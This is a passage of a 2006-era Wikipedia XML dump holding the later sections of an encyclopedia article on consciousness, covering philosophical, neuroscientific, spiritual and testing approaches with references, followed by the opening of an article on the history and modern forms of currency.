It is sometimes held that consciousness emerges from the complexity of brain processing. The general label '[[emergence]]' applies to new phenomena that emerge from a physical basis without the connection between the two explicitly specified.

Some theorists hold that phenomenal consciousness poses an [[explanatory gap]]. [[Colin McGinn]] believes that the problem [[New Mysterianism|cannot be solved]], and Chalmers [[David Chalmers#Work|criticizes purely physical accounts]] of mental experiences based on the idea that [[philosophical zombie]]s are logically possible and supports [[property dualism]]. But others have proposed scientific theories to explain the explanatory gap, such as [[Quantum mind]], [[space-time theories of consciousness]], and [[Electromagnetic theories of consciousness]] to explain the correspondence between brain activity and experience. As yet there is little evidence from brain studies to support these theories.

Evidence from [[parapsychology]] of [[psychokinesis]] or [[telepathy]], if substantiatied, might support the theory that the location of consciousness is not confined to the brain. However, no evidence has been substantiatied.

===Access consciousness===
There have been numerous approaches to the processes that act on conscious experience from instant to instant. Philosophers who have explored this problem include [[Gerald Edelman]], [[G. Spencer-Brown]], [[Edmund Husserl]] and [[Daniel Dennett]]. 

Some philosophers have concentrated on reflexive processes to link one instant to the next, some on discriminations and differences between things in conscious experience and others on the overall behaviour of the organism.

[[G. Spencer-Brown]] provides an example of the analysis of consciousness as a process, the process in this case being differentiating one thing from another.[[G. Spencer-Brown]] proposes in [[Laws of Form]] that the root of [[cognition]] is the ability to perceive [[dualism]], i.e., in its most simple construct, the capability of differentiating a &quot;this&quot; from a &quot;that.&quot; A mathematician, he captured this concept of elementary content-in-context in an abstraction: an algebraic and tautological symbol he referred to as the &quot;Mark,&quot; also referred to as a &quot;distinction.&quot;  [[Francisco Varela]], a co-founder of the [[Integral Institute]], and [[Humberto Maturana]] also identify &quot;distinction&quot; as the elementary act of cognition.  By definition, this concept extends the notion of &quot;consciousness&quot; well beyond that solely evidenced by humans and lends itself to the idea of a &quot;scale&quot; of consciousness.

=== Class consciousness ===

{{Main|Class consciousness}}

[[Marxism]] invented the concept of [[class consciousness]], to design a form of self-identification which is also an achievement. It is through class consciousness that the [[proletariat]] can hope defeating the [[bourgeoisie]], and it is this concept that assures the link between [[theory]] and [[praxis]]. This concept of &quot;class consciousness&quot; has been of interests to non-Marxists, as it poses the problem of collective consciousness. It can be compared to the Marxist concept of [[false consciousness]] and [[Carl Jung]]'s [[collective unconscious]]. However, this concept, which was central in [[Georg Lukács]]' famous ''History and Class Consciousness'', was harshly criticized by [[Louis Althusser]].

=== Consciousness and language ===
Because humans express their conscious states using language, it is tempting to equate language abilities and consciousness.  There are, however, speechless humans (infants, [[Feral child|feral children]], [[aphasia|aphasics]], severe forms of [[autism]]), to whom consciousness is attributed despite language lost or not yet acquired. Moreover, the study of brain states of non-linguistic primates, in particular the [[macaque|macaques]], has been used extensively by scientists and philosophers in their quest for the neural correlates of the contents of consciousness.

Julian Jaynes however, argues in &quot;The origin of consciouness in the breakdown of the bicameral mind&quot; that for consciousness to arise in a person, language needs to have reached a fairly high level of complexity. According to Jaynes consciouss men emerged as recent as around 1300 BC.

==Cognitive neuroscience approaches==
Modern investigations into and discoveries about consciousness are based on [[psychological statistics|psychological]] [[statistical study|statistical studies]] and [[case studies]] of consciousness states and the deficits caused by [[lesion]]s, [[stroke]], [[injury]], or [[surgery]] that disrupt the normal functioning of human [[sense]]s and [[cognition]]. These discoveries suggest that the [[mind]] is a complex structure derived from various localized functions that are [[binding problem | bound]] together with a unitary awareness.

Several studies point to common mechanisms in different clinical conditions that lead to loss of consciousness. [[Persistent vegetative state]] (PVS) is a condition in which an individual loses the higher cerebral powers of the brain, but maintains sleep-wake cycles with full or partial autonomic functions. Studies comparing PVS with healthy, awake subjects consistently demonstrate an impaired connectivity between the deeper (brainstem and thalamic) and the upper (cortical) areas of the brain. In addition, it is agreed that the general brain activity in the cortex is lower in the PVS state. Some [[electroneurobiology|electroneurobiological]] interpretations of consciousness characterize this loss of consciousness as a loss of the ability to resolve time (similar to playing an old phonographic record at very slow or very rapid speed), along a continuum that starts with inattention, continues on sleep, and arrives to coma and [[death]].

Loss of consciousness also occurs in other conditions, such as general (tonic-clonic) [[epileptic seizure]]s, in [[general anaesthesia]], maybe even in deep (slow-wave) [[sleep]]. At present, the best-supported hypotheses about such cases of loss of consciousness (or loss of time resolution) focus on the need for 1) a widespread cortical network, including particularly the frontal, parietal and temporal cortices, and 2) cooperation between the deep layers of the brain, especially the thalamus, and the upper layers, the cortex. Such hypotheses go under the common term &quot;globalist theories&quot; of consciousness, due to the claim for a widespread, global network necessary for consciousness to interact with non-mental reality in the first place.

Brain chemistry affects human consciousness.  Sleeping drugs (such as [[Midazolam]] = Dormicum) can bring the brain from the awake condition (conscious) to the sleep (unconscious).  Wake-up drugs such as [[Anexate]] reverse this process.
Many other drugs (such as [[ethanol|alcohol]], [[nicotine]], [[THC]], [[heroin]], [[cocaine]], [[LSD]], [[MDMA]]) have a consciousness-changing effect.

There is a neural link between the left and right hemispheres of the brain, known as the [[corpus callosum]]. This link is sometimes surgically severed to control severe seizures in epilepsy patients. This procedure was first performed by Roger Sperry in the 1960's.  Tests of these patients have shown that, after the link is [[Split-brain|completely severed]], the hemispheres are no longer able to communicate, leading to certain problems that usually arise only in test conditions.  For example, while the left side of the brain can verbally describe what is going on in the right visual field, the right hemisphere is essentially mute, instead relying on its spatial abilities to interact with the world on the left visual field. Some say that it is as if two separate minds now share the same skull, but both still represent themselves as a single &quot;I&quot; to the outside world.

The bilateral removal of the [[Centromedian nucleus]] (part of the Intra-laminar nucleus of the Thalamus) appears to abolish consciousness, causing coma, PVS, severe mutism and other features that mimic [[brain death]].  The centromedian nucleus is also one of the principal sites of action of general anaesthetics and anti-psychotic drugs.

Neurophysiological studies in awake, behaving monkeys performed by neuroscientists point to advanced cortical areas in prefrontal cortex and temporal lobes as carriers of neuronal correlates of consciousness. [[Christof Koch]] and [[Francis Crick]] argued that neuronal mechanisms of consciousness are intricately related to prefrontal cortex — the most advanced cortical area. Experimental work of Steven Wise, [[Mikhail Lebedev]] and their colleagues supports this view. They demonstrated that activity of prefrontal cortex neurons reflects illusory perceptions of movements of visual stimuli. Nikos Logothetis and colleagues made similar observations on visually responsive neurons in the temporal lobe. These neurons reflect the visual perception in the situation when conflicting visual images are presented to different eyes (i.e., bistable percepts during binocular rivalry). The studies of [[blindsight]] — vision without awareness after lesions to parts of the visual system such as the primary visual cortex —  performed by Lawrence Weiskrantz and David P. Carey provided important insights on how conscious perception arises in the brain. In recent years the theory of two visual streams, vision for perception versus vision for action was developed by Melvyn Goodale, David Milner and others. According to this theory, visual perception arises as the result of processing of visual information by the ventral stream areas (located mostly in the temporal lobe), whereas the dorsal stream areas (located mostly in the parietal lobe) process visual information unconsciously. For example, quick catching of the ball would engage mostly the dorsal stream areas, and viewing a painting would be handled by the ventral stream. Overal, these studies show that conscious versus unconscious behaviors can be linked to specific brain areas and patterns of neuronal activation.


==Physical approaches==
Even at the dawn of Newtonian science, [[Gottfried Leibniz|Leibniz]] and many others [[pre-established harmony|were suggesting]] physical theories of consciousness.  Modern physical theories of consciousness can be divided into three types: theories to explain behaviour and access consciousness, theories to explain phenomenal consciousness and theories to explain the  quantum mechanical (QM) [[Quantum mind]].  Theories that seek to explain behaviour are an everyday part of [[neuroscience]], some of these theories of access consciousness, such as [[Gerald Edelman | Edelman's theory]], contentiously identify phenomenal consciousness with reflex events in the brain.  Theories that seek to explain phenomenal consciousness directly, such as [[Space-time theories of consciousness]] and [[Electromagnetic theories of consciousness]], have been available for almost a century, but have not as yet been confirmed by experiment.  Theories that attempt to explain the QM measurement problem include [[Karl Pribram | Pribram]] and [[David Bohm| Bohm's]] [[Holonomic brain theory]], [[Stuart Hameroff | Hameroff]] and [[Roger Penrose | Penrose's]] [[Orch-OR| Orch-OR theory]], [[Spin-Mediated Consciousness Theory]] and the [[Many-minds interpretation]]. Some of these QM theories offer descriptions of phenomenal consciousness, as well as QM interpretations of access consciousness. None of the quantum mechanical theories has been confirmed by experiment, and there are philosophers who argue that QM has no bearing on consciousness.

There is also a concerted effort in the field of [[Artificial Intelligence]] to create digital computer programs that can [[Artificial consciousness | simulate consciousness]].

== Spiritual approaches ==
Spiritual approaches to consciousness involve the idea of [[altered state of consciousness | altered states of consciousness]] or [[religious experience]]. Changes in the state of consciousness or a religious experience can occur spontaneously or as a result of religious observance. It is also maintained by some religions and religious factions that the universe itself is consciousness.

In [[shamanism | shamanic]] practices, changes in states of consciousness are induced by activities that create [[trance]] states, such as [[drum|drumming]], [[dance|dancing]], [[fasting]], [[sensory deprivation]], exposure to extremes of temperature, or the use of psychoactive [[Psychoactive drug|drugs]].  The experience that occurs is interpreted as entering a real, but parallel, world. In many polytheistic religions a change in emotional state is often attributed to the action of a god, for instance love was ruled by [[Aphrodite]] and [[Eros]] in Ancient Greek [[polytheism]]. In [[Hinduism]] the change in state is induced by the practice of [[yoga]]. Yoga means &quot;joining&quot; and is intended to produce a state of oneness between the practitioner and the divine. In [[Islam]] and [[Christianity]], the change of state can occur as a result of prayer or as a religious experience.

The change in state of consciousness in Hinduism, [[Buddhism]], Christianity and Islam is reported to be quite similar.  The pursuit of yoga and the Buddhist [[Vipassana jhanas| Jhanas]] involve feelings of oneness with the world that give rise to a state of rapture. This is also reported by those undergoing some forms of Christian (or Islamic) religious experience; for instance, James (1902) provides the following report:

&lt;blockquote&gt;
I cannot express it in any other way than to say that I did &quot;lie down in the stream of life and let it flow over me.&quot; I gave up all fear of any impending disease; I was perfectly willing and obedient. There was no intellectual effort, or train of thought. My dominant idea was: &quot;Behold the handmaid of the Lord: be it unto me even as thou wilt,&quot; and a perfect confidence that all would be well, that all was well. The creative life was flowing into me every instant, and I felt myself allied with the Infinite, in harmony, and full of the peace that passeth understanding. There was no place in my mind for a jarring body. I had no consciousness of time or space or persons, but only of love and happiness and faith.
&lt;/blockquote&gt;

[[Meditation]] is used in some forms of yoga such as [[Raja Yoga]], [[Hatha Yoga]], [[Transcendental meditation]],  the Buddhist Jhanas, the Buddhist Immaterial Jhanas (there are several versions of the jhanas in different types of Buddhism), in the practices of Christian monks and Islamic scholars such as [[Sufi]]s. Meditation can have a calming influence on practitioners, as well as changing the state of consciousness. Therevada Buddhism views the Jhanas and some yogic practices view the early stages of meditation as a preliminary &quot;serenity meditation&quot; in which it is demonstrated that states such as rapture are delusions, products of mind rather than the soul.  In most types of Buddhism, serenity meditation is followed by a philosophical &quot;insight meditation&quot; that focuses on the idea that the universe is [[consciousness-only | consciousness only]], one that is perhaps indistinguishable from [[Monism]].

== Functions of consciousness ==
We generally agree that our fellow human beings are conscious, and that much simpler life forms, such as bacteria, are not. Many of us attribute consciousness to higher-order animals such as dolphins and primates; academic research is investigating the extent to which animals are conscious. This suggests the hypothesis that consciousness has co-evolved with life, which would require it to have some sort of added value. People have therefore looked for specific ''functions'' of consciousness. [[Bernard Baars]] (1997), for instance, states that &amp;#8220;consciousness is a supremely functional adaptation&amp;#8221; and suggests a variety of functions in which consciousness plays a role: prioritization of alternatives, problem solving, decision making, brain processes recruiting, action control, error detection, planning, learning, adaptation, context creation, and access to information. [[Antonio Damasio]] (1999) regards consciousness as part of an organism&amp;#8217;s ''survival kit'', allowing planned rather than instinctual responses. He also points out that awareness of self allows a concern for one&amp;#8217;s own survival, which increases the drive to survive, although how far consciousness is involved in behaviour is an actively debated issue. Many psychologists, such as radical [[behaviourism | behaviourists]], and many philosophers, such as those that support [[Gilbert Ryle | Ryle's]] approach, would maintain that behaviour can be explained by non-conscious processes akin to [[artificial intelligence]], and might consider consciousness to be [[epiphenomenalism | epiphenomenal]] or only weakly related to function.

== Tests of consciousness == 

As there is still not a clear definition of consciousness, no empirical tests currently exist to test consciousness as a whole. Some have even argued that empirical tests of consciousness are intrinsically impossible. However, some researchers have devised tests to detect what they feel are certain aspects of consciousness. A test similar to this was used in the novel ''Do Androids Dream of Electric Sheep'' by [[Philip K. Dick]] to see if a person was a robot or an actual human. In the [[Ridley Scott]] movie ''[[Blade Runner]]'', which was inspired by that book, it is known as the &quot;Voigt-Kampf&quot; test, and tests the subject for [[empathy]].

=== Turing Test ===
[[Alan Turing]] proposed what is now known as the [[Turing test]] to determine if a computer could simulate human conversation undetectably.  This test is commonly cited in discussion of [[artificial intelligence]].  The application to consciousness is that, according to some philosophers, anything capable of passing the Turing test as well as a person is necessarily conscious.  Other philosophers say that a [[philosophical zombie]] could pass the test yet fail to be conscious.  This matter is heavily disputed.  Still others take it for granted that computers can think, since this is what they were designed to do; [[Edsger Dijkstra]] commented that &quot;The question of whether a computer can think is no more interesting than the question of whether a submarine can swim.&quot;

A [[thought experiment]], which is intended to show problems with the Turing Test, is as follows.  Imagine a computer in which are stored a very large number of questions and a very large number of actual human responses to these questions.  If the number of questions and answers was large enough, then the computer would be able to mimic consciousness by a purely mechanical procedure.  Of course, this is a purely hypothetical example, because any attempt to create a lookup table for all possible responses would entail a device of truly gigantic proportions.  For this reasons, some consider this thought experiment to be misleading. See [[Chinese_room|Chinese room]].

=== Mirror test === 

''See also the concept of the [[Mirror stage]] by [[Jacques Lacan]]''

With the [[mirror test]], devised by [[Gordon Gallup]] in the 1970s, one is interested in whether animals are able to recognize themselves in a mirror. Such self-recognition is said to be an indicator of consciousness. Humans (older than 18 months), [[Hominid|great apes]] (except for [[gorilla|gorillas]]), and [[bottlenose dolphin|bottlenose dolphins]] have all been observed to pass this test.

== Endnotes ==

*{{note|Aquinas}} See [http://www.corpusthomisticum.org/qdv15.html#55339 Aquinas, ''De Veritate'' 17,1 c.a.]
*{{note|Davies}}  See Catherine G. Davies, ''Conscience as Consciousness'', Oxford 1990, and  [http://www.borishennig.de/texte/descartes/diss Hennig, Cartesian Conscientia].
*{{note|Balibar}} See [[Etienne Balibar]], ''Identité et différence. Le chapitre II, xxvii de l'''Essay concerning Human Understanding'' de Locke. L'invention de la conscience.'' Paris: Editions du Seuil, 1998. ISBN 2020263009 
(&quot;Identity and Difference&quot;. Chapter XXVII, book II of Locke's ''Essay Concerning Human Understanding''. The invention of consciousness&quot;) 
*{{note|Locke}}{{note label|Locke|4|a}}John Locke, §21 and §28, chap.XXVII, book II of ''An Essay Concerning Human Understanding''
*{{note|Gay}} See Friedrich Nietzsche, ''[[The Gay Science]]'', §355.

== See also ==
===Cognitive Neuroscience ===
* [[Attention]]
* [[Binocular rivalry]]
* [[Blindsight]]
* [[Change blindness]]
* [[Cognitive science]]
* [[Iconic memory]]
* [[Multistable perception]]
* [[Neural correlate of consciousness]]
* [[Neural Darwinism]]
* [[Short term memory]]
* [[Society of Mind]]
* [[Unconscious mind]]
* [[Visual short term memory]]

===Philosophy===
* [[Mental body]]
* [[Mind]]
* [[Mind-body problem]]
* [[Multiple drafts theory | Dennett's Multiple Drafts theory]]
* [[New Mysterianism]]
* [[Philosophy of mind]]
* [[Qualia]]
* [[Stream of consciousness]]
* [[Supervenience]]
* [[Theory of mind]]
* [[Philosophy of perception]]
* [[Personhood|Personhood Theory]]

===Physical Theories of Consciousness===
* [[Orch-OR|Orch-OR theory]]
* [[Electromagnetic theories of consciousness]]
* [[Holonomic brain theory]]
* [[Many-minds interpretation]]
* [[Quantum mind]]
* [[Space-time theories of consciousness]]
* [[Spin-Mediated Consciousness Theory]]

===People===
* [[Bernard Baars]]
* [[Ned Block]]
* [[David Chalmers]]
* [[Francis Crick]]
* [[Antonio Damasio]]
* [[Stanislas Dehaene]]
* [[Daniel Dennett]]
* [[Gerald Edelman]]
* [[Sigmund Freud]]
* [[Stuart Hameroff]]
* [[Stevan Harnad]]
* [[Christof Koch]]
* [[Benjamin Libet]]
* [[Thomas Metzinger]]
* [[Marvin Minsky]]
* [[Roger Penrose]]
* [[Geraint Rees]]
* [[John Searle]]
* [[Petra Stoerig]]
* [[Larry Weiskrantz]]

===Miscellaneous===
* [[8-Circuit Model of Consciousness]]
* [[Altered state of consciousness]]
* [[Artificial consciousness]]
* [[Communalness]]
* [[Neurophenomenology]]
* [[Simulated consciousness]]
* [[Vijnana]]
* [[Yoga Nidra]]

== Further reading ==
{{Wikibookspar|Consciousness studies| }}

=== General ===
* Baars, B. (1997). ''In the Theater of Consciousness: The Workspace of the Mind''. New York, NY: Oxford University Press. 2001 reprint: ISBN 0195147030
* Blackmore, S. (2003). ''Consciousness: an Introduction''. Oxford: Oxford University Press. ISBN 019515343X
* [http://www.nyu.edu/gsas/dept/philo/faculty/block/papers/ecs.pdf Block, N. (2004). ''The Encyclopedia of Cognitive Science''.]
*Chalmers, D. (1996). ''The Conscious Mind: In Search of a Fundamental Theory''. New York: Oxford University Press. ISBN 0-19-511789-1
* Cleermans, A. (Ed.) (2003). ''The Unity of Consciousness: Binding, Integration, and Dissociation''. Oxford: Oxford Univerisity Press. ISBN 0198508573
* Damasio, A. (1999). ''The Feeling of What Happens: Body and Emotion in the Making of Consciousness''. New York: Harcourt Press. ISBN 0156010755
* Dennett, D. (1991). ''Consciousness Explained'',  Boston: Little &amp; Company. ISBN 0316180661
* [[Stevan Harnad| Harnad, S.]] (2005) [http://cogprints.org/4414/01/harnad-searle.html What is Consciousness?] ''[[New York Review of Books]]'' 52(11).
* [http://www.psywww.com/psyrelig/james/james5.htm#115 James, W. (1902) The Varieties of Religious Experience]
* Koch, C. (2004). ''The Quest for Consciousness''. Englewood, CO: Roberts &amp; Company. ISBN 0974707708
* Libet, B., Freeman, A. &amp; Sutherland, K. ed. (1999). ''The Volitional Brain: Towards a neuroscience of free will''. Exeter, UK: Short Run Press, Ltd.
* Metzinger, T. (2003). ''Being No One: the Self-model Theory of Subjectivity''. Cambridge, MA: MIT Press.
*Metzinger, T. (Ed.) (2000). ''The Neural Correlates of Consciousness''. Cambridge, MA: MIT Press. ISBN 0262133709
* Searle, J.  (2004).  ''Mind: A Brief Introduction''.  New York:  Oxford University Press.

=== Consciousness and quantum mechanics ===
* Bourget, D. (2004), &amp;#8216;Quantum Leaps in Philosophy of Mind&amp;#8217;, Journal of Consciousness Studies 11 (12).
* Eccles, J.C. (1994), How the Self Controls its Brain, (Springer-Verlag). 
* Hagan, S., Hameroff, S.R., and Tuszy&amp;#324;ski, E.  (2000), &amp;#8216;Quantum Computation in Brain Microtubules: Decoherence and biological feasibility&amp;#8217;, Physical Review E, 65.
* Hodgson, D. (2002), &amp;#8216;Quantum Physics, Consciousness, and Free Will&amp;#8217;, in R. Kane (ed.) The Oxford Handbook of Freewill (Oxford University Press). 
* Lockwood, M. (1989), Mind, Brain and Quantum (Oxford: Oxford University Press). 
* McFarlane, Thomas J. (1988) [http://www.integralscience.org/ConsciousQM.html Consciousness and Quantum Mechanics]
* Mulhauser, G. R. (1995), &amp;#8216;On the End of the Quantum Mechanical Romance&amp;#8217;, Psyche, 2 (5).
* Penrose, R., Hameroff, S. R. (1996), &amp;#8216;Conscious Events as Orchestrated Space-Time Selections&amp;#8217;, Journal of Consciousness Studies, 3 (1), pp. 36-53.
* Stapp, H.P. (1993), Mind, Matter, and Quantum Mechanics, First Edition (Springer-Verlag). 
* Tegmark, M. (1999), &amp;#8216;The importance of Decoherence in Brain Processes&amp;#8217;, Physical Review E, 61, pp. 4194-4206.
* Walker, E.H. (1997), &amp;#8216;Quantum Mechanical Tunneling in Synaptic and Ephaptic Transmission&amp;#8217;, Int. J. Quantum Chemistry, 11, 103-127.

==External links==
===Academic journals &amp; newsletters===
* [http://www.imprint.co.uk/jcs.html ''Journal of Consciousness Studies'']
* [http://www.elsevier.com/wps/find/journaldescription.cws_home/622810/description#description ''Consciousness and Cognition'']
* [http://psyche.cs.monash.edu.au/ ''Psyche'']
* [http://www.sci-con.org ''Science &amp; Consciousness Review'']

===Societies===
* [[Association for the Scientific Study of Consciousness]]

===Philosophy resources===
* [http://ase.tufts.edu/cogstud/incpages/publctns.shtml Publications of the Tufts Center for Cognitive Studies, including Daniel Dennett]
* [http://consc.net/online.html David Chalmers' directory of online papers on consciousness]
* Stanford Encyclopedia of Philosophy:
** [http://plato.stanford.edu/entries/consciousness-animal/ Animal Consciousness]
** [http://plato.stanford.edu/entries/consciousness-higher/ Higher Order Theories of Consciousness]
** [http://plato.stanford.edu/entries/consciousness-intentionality/ Consciousness and Intentionality]
** [http://plato.stanford.edu/entries/consciousness-representational/ Representational Theory of Consciousness]
** [http://plato.stanford.edu/entries/consciousness-unity/ Unity of Consciousness]

===Miscellaneous sites===
* [http://klab.caltech.edu/cns120/videos.php Online lecture videos,] from an undergraduate course taught by [[Christof Koch]] at [[Caltech]] on the neurobiological basis of consciousness in  2004.
* [http://www.imprint.co.uk/Wilber.htm Ken Wilber's Integral Theory of Consciousness] from ''Journal of Consciousness Studies''
* [http://brainmaps.org Brain Atlas, Brain Maps, Neuroinformatics]
* [http://www.starstuffs.com/physcon2 Physics and Consciousness Quantum Relations to The Mind]
* [http://faculty.virginia.edu/consciousness/ Online course in consciousness] at [[University of Virginia]]
* [http://grove.ufl.edu/~psy4930/ A survey course] at [[University of Florida]]
* Edinburgh [http://www.robots.ox.ac.uk/~charles/thesis/Fox_Consciousness_Thesis.ps thesis] on consciousness including up-to-date reviews
* [http://www.gnosticweb.com/index.php?PageID=14/ Gnosticweb] Articles on Consciousness as taught by some [[gnostic]] teachers.
* [http://www.borishennig.de/texte/descartes/diss/cartes_04b.pdf/ History of the word &quot;consciousness&quot; until Descartes]
* [http://www.consciousentities.com/ Conscious Entities] Discussions of leading theories and issues.
* [http://www.iacworld.org/English/Resources/ FAQ &amp; Articles] Consciousness &amp; psi phenomena
* [http://www.princeton.edu/~pear/5.html Consciousness-Related Engineering Anomaly] Princeton
* [http://www.godconsciousness.com/Evolution%20of%20Consciousness.pdf Evolution of Consciousness Literature Review, Notes and Excerpts] by Doug Phillips
* [http://develintel.blogspot.com/2006/02/minds-eye-models-of-attentional-blink.html Computational Models of the Attentional Blink]
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    </revision>
  </page>
  <page>
    <title>Currency</title>
    <id>5665</id>
    <revision>
      <id>42014543</id>
      <timestamp>2006-03-03T05:44:10Z</timestamp>
      <contributor>
        <username>Searchme</username>
        <id>355892</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''For current [[exchange rates]], see [[Exchange rate#External links|Exchange links]]''.
{{Foreign Exchange}}
{{TOCright}}
A '''currency''' is a [[unit]] of exchange, facilitating the [[trade|transfer]] of goods and services. It is a form of [[money]], where money is defined as a medium of exchange (rather than e.g. a store of value).  A '''currency zone''' is a country or region in which a specific currency is the dominant medium of exchange.  To facilitate [[international trade|trade]] between currency zones, there are [[exchange rate]]s i.e. prices at which currencies (and the goods and services of individual currency zones) can be exchanged against each other. Currencies can be classified as either [[floating currency|floating currencies]] or [[fixed currency|fixed currencies]] based on their [[exchange rate regime]]. In common usage, currency sometimes refers to only paper money, as in &quot;coins and currency&quot;, but this is incorrect. Coins and paper money are both forms of currency.

In most cases, each [[country]] has [[monopoly]] control over its own currency. Member countries of the European Monetary Union are a notable exception to this rule, as they have ceded control of monetary policy to the [[European Central Bank]]. 

In cases where a country does have control of its own currency, that control is exercised either by a [[central bank]] or by a Ministry of Finance. In either case, the institution that has control of monetary policy is referred to as the monetary authority. Monetary authorities have varying degrees of autonomy from the governments that create them. In the United States, the [[Federal Reserve]] operates with full independence from the government. It is important to note that a monetary authority is created and supported by its sponsoring government, so independence can be reduced or revoked by the legislative or executive authority that creates it. In almost all Western countries, the monetary authority is largely independent from the government.

Several countries can use the same name, each for their own currency (e.g. Canadian dollars and US dollars), several countries can use the same currency (e.g. the [[euro]]), or a country can declare the currency of another country to be [[legal tender]]. For example, [[Panama]] and [[El Salvador]] have declared US currency to be legal tender, and from 1791-1857, Spanish silver coins were legal tender in the United States. At various times countries have either restamped foreign coins, or used [[currency board]] issuing one note of currency for each note of a foreign government held, as [[Ecuador]] currently does.

Each currency typically has one fractional currency, often valued at 1/100 of the main currency: 100 [[Cent (currency)|cent]]s = 1 [[dollar]], 100 [[centime]]s = 1 [[franc]], 100 [[pence]] = 1 [[pound (currency)|pound]]. Units of 1/10 or 1/1000 are also common, but some currencies do not have any smaller units. [[Mauritania]] and [[Madagascar]] are the only remaining countries that do not use the decimal system; instead, the Mauritanian [[Mauritanian ouguiya|ouguiya]] is divided into 5 [[khoum]], while the [[Malagasy ariary]] is divided into 5 [[iraimbilanja]].  However, due to inflation, both fractional units have in practice fallen into disuse.

See [[Non-decimal currencies]] for other (mostly historic) currencies with non-decimal divisions.

== History ==
=== Early currency ===
The origin of currency is the creation of a circulating [[medium of exchange]] based on a [[store of value]]. Currency evolved from two basic innovations: the use of counters to assure that shipments arrived with the same goods that were shipped, and the use of silver ingots to represent stored value in the form of grain. Both of these developments had occurred by 2000 BC.

This first stage of currency, where metals were used to represent stored value, and symbols to represent commodities, formed the basis of trade in the [[Fertile Crescent]] for over 1500 years. However, the collapse of the Near Eastern trading system pointed to a flaw: in an era where there was no place that was safe to store value, the value of a circulating medium could only be as sound as the forces that defended that store. Trade could only reach as far as the credibility of that military.

=== Coinage ===
These factors led to the shift of the store of value being the metal itself: at first silver, then both silver and gold. Metals were mined, weighed, and stamped into coins. This was to assure the individual taking the coin that he was getting a certain known weight of precious metal. Coins could be counterfeited, but they also created a new [[unit of account]], which helped lead to [[banking]]. It was with Archimedes' principle that the next link in currency occurred: coins could now be easily tested for their [[fine]] weight of metal, and thus the value of a coin could be determined, even if it had been shaved, debased or otherwise tampered with (see [[Numismatics]]).

In most major economies using coinage, copper, silver and gold formed three tiers of coins. Gold coins were used for large purchases, payment of the military and backing of state activities. Silver coins were used for large, but common, transactions, and as a unit of account for taxes, dues, contracts and fealty, while copper coins represented the coinage of common transaction. In Europe this system worked through the [[medieval]] period because there was virtually no new gold, silver or copper introduced through mining or conquest. Thus the overall ratios of the three coinages remained roughly equivalent.

In China, however, the need for credit and for circulating medium led to the introduction of paper money, commonly known today as [[banknote]]s. In Europe paper money was first introduced in Sweden 1661. Sweden was rich on copper but because of copper's low value extraordinarily big coins had to be made. It was probably more convenient to have a note stating your possession of such a coin.

=== The era of hard and credit money ===
Paper money was, in one sense, a return to the oldest form of currency: it represented a store of value backed by the credibility of the issuing authority. Drafts and checks issued privately had been in intermittent use for centuries, however, it was with the rise of global trade that paper money would find a permanent place in currency.

The advantages of paper currency were numerous: it reduced transport of gold and silver, and thus lowered the risks; it made loaning gold or silver at interest easier, since the specie (gold or silver) never left the possession of the lender until someone else redeemed the note; and it allowed for a division of currency into credit and specie backed forms. It enabled the sale of [[stock]] in joint stock companies, and the redemption of those shares in paper.

However, these advantages held within them disadvantages. First, since a note has no intrinsic value, there was nothing to stop issuing authorities from printing more of it than they had specie to back it with. Second, because it created money that did not exist, it was subject to [[Gresham's Law]]: people would exchange money rather than coins of the same value, and this increased the velocity of money and therefore increased inflationary pressures, a fact observed by [[David Hume]] in the [[18th century]]. The result is that paper money would often lead to an inflationary bubble, which would then collapse when the demand for paper notes fell to zero, and people began demanding hard money. The printing of paper money was also associated with wars, and financing of wars, and therefore regarded as part of maintaining a [[standing army]].

For these reasons, paper currency was held in suspicion and hostility in Europe and America. It was also addictive, since the speculative profits of trade and capital creation were quite large. Major nations established [[mint (coin)| mints]] to print money and mint coins, and branches of their treasury to collect taxes and hold gold and silver stock.

=== Legal tender era ===
With the creation of central banks, currency underwent several significant changes. During both the coinage and credit money eras the number of entities which had the ability to coin or print money was quite large. One could, literally, have &quot;a license to print money&quot;; many nobles had the right of coinage. Royal colonial companies, such as the Massachusetts Bay Company or the British East India Company could issue notes of credit&amp;mdash;money backed by the promise to pay later, or exchangeable for payments owed to the company itself. This led to continual instability of the value of money. The exposure of coins to debasement and shaving, however, presented the same problem in another form: with each pair of hands a coin passed through, its value  grew less.

The solution which evolved beginning in the late [[18th century]] and through the [[19th century]] was the creation of a central monetary authority which had a virtual monopoly on issuing currency, and whose notes had to be accepted for &quot;all debts public and private&quot;. The creation of a truly national currency, backed by the government's store of precious metals, and enforced by their military and governmental control over an area was, in its time, extremely controversial. Advocates of the old system of [[Free Banking]] repealed central banking laws, or slowed down the adoption of restrictions on local currency. (See [[Gold standard]] for a fuller discussion of the creation of a standard gold based currency).

At this time both silver and gold were considered [[legal tender]], and accepted by governments for taxes. However, the instability in the ratio between the two grew over the course of the 19th century, with the increase both in supply of these metals, particularly silver, and of trade. This is called [[bimetallism]] and the attempt to create a [[bimetallic]] standard where both gold and silver backed currency remained in circulation occupied the efforts of [[inflation| inflationists]]. Governments at this point could use currency as an instrument of policy, printing paper currency such as the United States [[Greenback]], to pay for military expenditures. They could also set the terms at which they would redeem notes for specie, by limiting the amount of purchase, or the minimum amount that could be redeemed. 

By 1900, most of the industrializing nations were on some form of gold standard, with paper notes and silver coins constituting the circulating medium. Governments too followed Gresham's Law: keeping gold and silver paid, but paying out in notes.

=== The paper money era ===
''See [[Banknote#History of Paper Money|the history of paper money]].''

== Modern currencies ==
To find out which currency is used in a particular country, start at the [[countries of the world]] or look at the [[table of historical exchange rates]].

Nowadays [[International Organization for Standardization|ISO]] have introduced a system, ''[[ISO 4217]]'', using three-letter codes to define currency (as opposed to simple names or [[currency sign]]s), in order to remove the confusion that there are dozens of currencies called the [[dollar]] and many called the [[franc]]. Even the [[Pound (currency)|pound]] is used in nearly a dozen different countries, all, of course, with wildly differing values. In general, the three-letter code uses the ''[[ISO 3166-1]]'' country code for the first two letters and the first letter of the name of the currency (D for dollar, for instance) as the third letter.

The [[International Monetary Fund]] uses a variant system when referring to national currencies.

:''For exchange rates, see [[Exchange rate#External links|here.]]''

== Privately-issued currencies ==
{{See also|Private currency}}
From the earliest times [[token coins]] were issued by companies in remote parts of the world to overcome the shortage of circulating currency.

